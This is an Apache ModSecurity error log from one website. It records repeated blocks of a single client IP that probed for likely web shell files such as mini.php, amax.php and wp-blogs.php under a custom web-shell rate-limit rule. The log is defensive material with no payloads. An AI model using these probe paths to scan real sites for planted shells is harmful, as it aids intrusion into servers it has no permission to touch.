[Wed Apr 15 19:17:45.621420 2026] [:error] [pid 37370:tid 37391] [client 172.161.107.89:26732] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-blogs.php"] [unique_id "ad9z2Xg-gnM2Ga0cGAAFEgAAARM"]
[Wed Apr 15 19:17:46.074427 2026] [:error] [pid 30958:tid 31038] [client 172.161.107.89:43600] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bgymj.php"] [unique_id "ad9z2seG3wSKTO7NWFGMxQAAANY"]
[Wed Apr 15 19:17:46.114571 2026] [:error] [pid 31053:tid 31077] [client 172.161.107.89:28281] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-blogs.php"] [unique_id "ad9z2hcEkLCmvF0fjDer-gAAAJU"]
[Wed Apr 15 19:17:46.554521 2026] [:error] [pid 31053:tid 31078] [client 172.161.107.89:42453] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bgymj.php"] [unique_id "ad9z2hcEkLCmvF0fjDer-wAAAJY"]
[Wed Apr 15 19:17:46.604832 2026] [:error] [pid 30958:tid 31017] [client 172.161.107.89:47282] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-blogs.php"] [unique_id "ad9z2seG3wSKTO7NWFGMxwAAAME"]
[Wed Apr 15 19:17:47.037560 2026] [:error] [pid 30958:tid 31021] [client 172.161.107.89:19155] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mini.php"] [unique_id "ad9z28eG3wSKTO7NWFGMygAAAMU"]
[Wed Apr 15 19:17:47.083289 2026] [:error] [pid 37370:tid 37396] [client 172.161.107.89:28287] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bgymj.php"] [unique_id "ad9z23g-gnM2Ga0cGAAFGAAAARg"]
[Wed Apr 15 19:17:47.542491 2026] [:error] [pid 37370:tid 37383] [client 172.161.107.89:31221] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mini.php"] [unique_id "ad9z23g-gnM2Ga0cGAAFGgAAAQs"]
[Wed Apr 15 19:17:47.563511 2026] [:error] [pid 37370:tid 37388] [client 172.161.107.89:15322] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bgymj.php"] [unique_id "ad9z23g-gnM2Ga0cGAAFGwAAARA"]
[Wed Apr 15 19:17:48.049475 2026] [:error] [pid 30957:tid 31005] [client 172.161.107.89:39237] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mini.php"] [unique_id "ad9z3H5gwVEVXHfVSipwcQAAAFA"]
[Wed Apr 15 19:17:48.076536 2026] [:error] [pid 30957:tid 30991] [client 172.161.107.89:26737] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bgymj.php"] [unique_id "ad9z3H5gwVEVXHfVSipwcgAAAEI"]
[Wed Apr 15 19:17:48.538065 2026] [:error] [pid 30958:tid 31034] [client 172.161.107.89:20638] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mini.php"] [unique_id "ad9z3MeG3wSKTO7NWFGM0gAAANI"]
[Wed Apr 15 19:17:48.557426 2026] [:error] [pid 37370:tid 37374] [client 172.161.107.89:37519] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bgymj.php"] [unique_id "ad9z3Hg-gnM2Ga0cGAAFHgAAAQI"]
[Wed Apr 15 19:17:49.018319 2026] [:error] [pid 30958:tid 31029] [client 172.161.107.89:42450] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/amax.php"] [unique_id "ad9z3ceG3wSKTO7NWFGM0wAAAM0"]
[Wed Apr 15 19:17:49.034004 2026] [:error] [pid 30958:tid 31040] [client 172.161.107.89:43585] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mini.php"] [unique_id "ad9z3ceG3wSKTO7NWFGM1AAAANg"]
[Wed Apr 15 19:17:49.506571 2026] [:error] [pid 30958:tid 31030] [client 172.161.107.89:16442] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mini.php"] [unique_id "ad9z3ceG3wSKTO7NWFGM1gAAAM4"]
[Wed Apr 15 19:17:49.541284 2026] [:error] [pid 30958:tid 31032] [client 172.161.107.89:20614] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/amax.php"] [unique_id "ad9z3ceG3wSKTO7NWFGM1wAAANA"]
[Wed Apr 15 19:17:49.976821 2026] [:error] [pid 30956:tid 30983] [client 172.161.107.89:19175] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mini.php"] [unique_id "ad9z3UBGUpjaWntNYq1gnQAAABc"]
[Wed Apr 15 19:17:50.016673 2026] [:error] [pid 37370:tid 37393] [client 172.161.107.89:25102] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/amax.php"] [unique_id "ad9z3ng-gnM2Ga0cGAAFIgAAARU"]
[Wed Apr 15 19:17:50.457466 2026] [:error] [pid 37370:tid 37390] [client 172.161.107.89:48313] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mini.php"] [unique_id "ad9z3ng-gnM2Ga0cGAAFJAAAARI"]
[Wed Apr 15 19:17:50.491055 2026] [:error] [pid 37370:tid 37392] [client 172.161.107.89:5518] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/amax.php"] [unique_id "ad9z3ng-gnM2Ga0cGAAFJQAAARQ"]
[Wed Apr 15 19:17:50.930665 2026] [:error] [pid 37370:tid 37395] [client 172.161.107.89:27871] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/amax.php"] [unique_id "ad9z3ng-gnM2Ga0cGAAFJgAAARc"]
[Wed Apr 15 19:17:50.970406 2026] [:error] [pid 37370:tid 37396] [client 172.161.107.89:15794] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mh.php"] [unique_id "ad9z3ng-gnM2Ga0cGAAFJwAAARg"]
[Wed Apr 15 19:17:51.412435 2026] [:error] [pid 37370:tid 37388] [client 172.161.107.89:65074] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/amax.php"] [unique_id "ad9z33g-gnM2Ga0cGAAFKQAAARA"]
[Wed Apr 15 19:17:51.454337 2026] [:error] [pid 31053:tid 31066] [client 172.161.107.89:28240] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mh.php"] [unique_id "ad9z3xcEkLCmvF0fjDer_gAAAIo"]
[Wed Apr 15 19:17:51.889212 2026] [:error] [pid 37370:tid 37382] [client 172.161.107.89:20664] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/amax.php"] [unique_id "ad9z33g-gnM2Ga0cGAAFLQAAAQo"]
[Wed Apr 15 19:17:51.946349 2026] [:error] [pid 37370:tid 37387] [client 172.161.107.89:29128] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mh.php"] [unique_id "ad9z33g-gnM2Ga0cGAAFLgAAAQ8"]
[Wed Apr 15 19:17:52.367217 2026] [:error] [pid 37370:tid 37391] [client 172.161.107.89:27855] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/amax.php"] [unique_id "ad9z4Hg-gnM2Ga0cGAAFLwAAARM"]
[Wed Apr 15 19:17:52.427675 2026] [:error] [pid 37370:tid 37395] [client 172.161.107.89:43617] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mh.php"] [unique_id "ad9z4Hg-gnM2Ga0cGAAFMQAAARc"]
[Wed Apr 15 19:17:52.881372 2026] [:error] [pid 31053:tid 31080] [client 172.161.107.89:19145] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mh.php"] [unique_id "ad9z4BcEkLCmvF0fjDer_wAAAJg"]
[Wed Apr 15 19:17:52.914280 2026] [:error] [pid 30957:tid 31011] [client 172.161.107.89:42470] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ms.php"] [unique_id "ad9z4H5gwVEVXHfVSipwdQAAAFY"]
[Wed Apr 15 19:17:53.359700 2026] [:error] [pid 37370:tid 37373] [client 172.161.107.89:42466] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mh.php"] [unique_id "ad9z4Xg-gnM2Ga0cGAAFNAAAAQE"]
[Wed Apr 15 19:17:53.413829 2026] [:error] [pid 37370:tid 37379] [client 172.161.107.89:25151] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ms.php"] [unique_id "ad9z4Xg-gnM2Ga0cGAAFNgAAAQc"]
[Wed Apr 15 19:17:53.837784 2026] [:error] [pid 37370:tid 37391] [client 172.161.107.89:30300] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mh.php"] [unique_id "ad9z4Xg-gnM2Ga0cGAAFNwAAARM"]
[Wed Apr 15 19:17:53.904400 2026] [:error] [pid 30958:tid 31018] [client 172.161.107.89:28280] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ms.php"] [unique_id "ad9z4ceG3wSKTO7NWFGM2QAAAMI"]
[Wed Apr 15 19:17:54.337640 2026] [:error] [pid 37370:tid 37396] [client 172.161.107.89:25450] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mh.php"] [unique_id "ad9z4ng-gnM2Ga0cGAAFOAAAARg"]
[Wed Apr 15 19:17:54.432674 2026] [:error] [pid 37370:tid 37388] [client 172.161.107.89:7731] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ms.php"] [unique_id "ad9z4ng-gnM2Ga0cGAAFOQAAARA"]
[Wed Apr 15 19:17:54.807639 2026] [:error] [pid 31053:tid 31076] [client 172.161.107.89:15750] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ms.php"] [unique_id "ad9z4hcEkLCmvF0fjDesAwAAAJQ"]
[Wed Apr 15 19:17:54.909308 2026] [:error] [pid 31053:tid 31063] [client 172.161.107.89:28238] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/166.php"] [unique_id "ad9z4hcEkLCmvF0fjDesBAAAAIc"]
[Wed Apr 15 19:17:55.290969 2026] [:error] [pid 30956:tid 30978] [client 172.161.107.89:16396] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ms.php"] [unique_id "ad9z40BGUpjaWntNYq1gowAAABI"]
[Wed Apr 15 19:17:55.400083 2026] [:error] [pid 30958:tid 31034] [client 172.161.107.89:31119] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/166.php"] [unique_id "ad9z48eG3wSKTO7NWFGM3AAAANI"]
[Wed Apr 15 19:17:55.807600 2026] [:error] [pid 30956:tid 30982] [client 172.161.107.89:8553] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ms.php"] [unique_id "ad9z40BGUpjaWntNYq1gpQAAABY"]
[Wed Apr 15 19:17:55.900328 2026] [:error] [pid 30958:tid 31023] [client 172.161.107.89:29133] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/166.php"] [unique_id "ad9z48eG3wSKTO7NWFGM3QAAAMc"]
[Wed Apr 15 19:17:56.285005 2026] [:error] [pid 30957:tid 31007] [client 172.161.107.89:30289] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ms.php"] [unique_id "ad9z5H5gwVEVXHfVSipwdwAAAFI"]
[Wed Apr 15 19:17:56.408071 2026] [:error] [pid 30958:tid 31040] [client 172.161.107.89:25418] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/166.php"] [unique_id "ad9z5MeG3wSKTO7NWFGM3wAAANg"]
[Wed Apr 15 19:17:56.769228 2026] [:error] [pid 37370:tid 37389] [client 172.161.107.89:25465] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/166.php"] [unique_id "ad9z5Hg-gnM2Ga0cGAAFPAAAARE"]
[Wed Apr 15 19:17:56.906198 2026] [:error] [pid 37370:tid 37378] [client 172.161.107.89:26680] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bmi.php"] [unique_id "ad9z5Hg-gnM2Ga0cGAAFPwAAAQY"]
[Wed Apr 15 19:17:57.269757 2026] [:error] [pid 37370:tid 37390] [client 172.161.107.89:26750] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/166.php"] [unique_id "ad9z5Xg-gnM2Ga0cGAAFQAAAARI"]
[Wed Apr 15 19:17:57.427613 2026] [:error] [pid 37370:tid 37394] [client 172.161.107.89:32649] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bmi.php"] [unique_id "ad9z5Xg-gnM2Ga0cGAAFQQAAARY"]
[Wed Apr 15 19:17:57.755870 2026] [:error] [pid 37370:tid 37374] [client 172.161.107.89:37950] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/166.php"] [unique_id "ad9z5Xg-gnM2Ga0cGAAFRgAAAQI"]
[Wed Apr 15 19:17:57.907441 2026] [:error] [pid 37370:tid 37376] [client 172.161.107.89:33023] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bmi.php"] [unique_id "ad9z5Xg-gnM2Ga0cGAAFSQAAAQQ"]
[Wed Apr 15 19:17:58.228681 2026] [:error] [pid 37370:tid 37389] [client 172.161.107.89:25453] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/166.php"] [unique_id "ad9z5ng-gnM2Ga0cGAAFSgAAARE"]
[Wed Apr 15 19:17:58.419934 2026] [:error] [pid 37370:tid 37380] [client 172.161.107.89:30321] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bmi.php"] [unique_id "ad9z5ng-gnM2Ga0cGAAFTQAAAQg"]
[Wed Apr 15 19:17:58.775928 2026] [:error] [pid 37370:tid 37394] [client 172.161.107.89:32985] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bmi.php"] [unique_id "ad9z5ng-gnM2Ga0cGAAFTgAAARY"]
[Wed Apr 15 19:17:58.927886 2026] [:error] [pid 31053:tid 31061] [client 172.161.107.89:25117] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-good.php"] [unique_id "ad9z5hcEkLCmvF0fjDesCQAAAIU"]
[Wed Apr 15 19:17:59.256636 2026] [:error] [pid 31053:tid 31068] [client 172.161.107.89:20645] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bmi.php"] [unique_id "ad9z5xcEkLCmvF0fjDesCgAAAIw"]
